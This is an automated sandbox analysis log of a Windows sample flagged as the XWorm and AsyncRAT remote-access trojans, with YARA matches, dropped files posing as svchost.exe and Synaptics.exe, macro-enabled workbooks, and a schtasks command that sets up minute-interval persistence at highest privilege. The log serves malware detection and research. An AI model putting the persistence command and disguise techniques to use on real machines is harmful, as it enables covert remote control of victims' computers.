Source: 5hfnY6TV.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: GAOBCVIQIJ.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: 5hfnY6TV.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: GAOBCVIQIJ.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Source: C:\Users\user\Desktop\._cache_svchost.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\._cache_svchost.exe	Code function: 7_2_00007FFAAC3AADAC	7_2_00007FFAAC3AADAC
Source: C:\Users\user\Desktop\._cache_svchost.exe	Code function: 7_2_00007FFAAC3A5946	7_2_00007FFAAC3A5946
Source: C:\Users\user\Desktop\._cache_svchost.exe	Code function: 7_2_00007FFAAC3A66F2	7_2_00007FFAAC3A66F2
Source: C:\Users\user\Desktop\._cache_svchost.exe	Code function: 7_2_00007FFAAC3A1C11	7_2_00007FFAAC3A1C11
Source: C:\Users\user\Desktop\._cache_svchost.exe	Code function: 7_2_00007FFAAC3A9F70	7_2_00007FFAAC3A9F70

Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5600 -ip 5600

Source: file.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: file.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXB47F.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: svchost.exe.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: svchost.exe.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: file.exe, 00000000.00000003.1541135540.0000000000AF5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs file.exe
Source: file.exe, 00000000.00000003.1541135540.0000000000AF5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileNamek vs file.exe
Source: file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs file.exe
Source: file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe	Binary or memory string: OriginalFileName vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameFulloptionv2.exe4 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameb! vs file.exe
Source: ._cache_file.exe.0.dr	Binary or memory string: OriginalFilenameFulloptionv2.exe4 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 5.0.svchost.exe.4b8e14.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 5.0.svchost.exe.4b8e14.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 7.0.._cache_svchost.exe.870000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 7.0.._cache_svchost.exe.870000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.0.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 5.0.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\Desktop\._cache_svchost.exe, type: DROPPED	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: C:\Users\user\Desktop\._cache_svchost.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\svchost.exe, type: DROPPED	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: C:\Users\user\svchost.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: ._cache_svchost.exe.5.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: ._cache_svchost.exe.5.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: ._cache_svchost.exe.5.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: svchost.exe.7.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: svchost.exe.7.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: svchost.exe.7.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: ._cache_svchost.exe.5.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: ._cache_svchost.exe.5.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: svchost.exe.7.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: svchost.exe.7.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@31/130@22/6

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Desktop\._cache_file.exe

Jump to behavior

Source: C:\Users\user\Desktop\._cache_svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\CcojtGUool4u0Nw2
Source: C:\Users\user\svchost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7276:120:WilError_03
Source: C:\Users\user\Desktop\._cache_file.exe	Mutant created: \Sessions\1\BaseNamedObjects\gg0kChPnUsdh8Eml0
Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5600

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user~1\AppData\Local\Temp\5hfnY6TV.xlsm

Jump to behavior

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXB47F.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 48.37%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 89%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\._cache_file.exe "C:\Users\user\Desktop\._cache_file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: C:\Users\user\Desktop\._cache_file.exe	Process created: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe "C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe"
Source: C:\Users\user\Desktop\._cache_file.exe	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Users\user\Desktop\._cache_svchost.exe "C:\Users\user\Desktop\._cache_svchost.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\svchost.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\svchost.exe C:\Users\user\svchost.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: unknown	Process created: C:\Users\user\svchost.exe C:\Users\user\svchost.exe
Source: unknown	Process created: C:\Users\user\svchost.exe C:\Users\user\svchost.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5600 -ip 5600
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5600 -s 24140
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
Source: unknown	Process created: C:\Users\user\svchost.exe C:\Users\user\svchost.exe
Source: unknown	Process created: C:\Users\user\svchost.exe C:\Users\user\svchost.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\._cache_file.exe "C:\Users\user\Desktop\._cache_file.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process created: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe "C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe"	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Users\user\Desktop\._cache_svchost.exe "C:\Users\user\Desktop\._cache_svchost.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\svchost.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5600 -ip 5600
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5600 -s 24140
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Section loaded: apphelp.dll	Jump to behavior
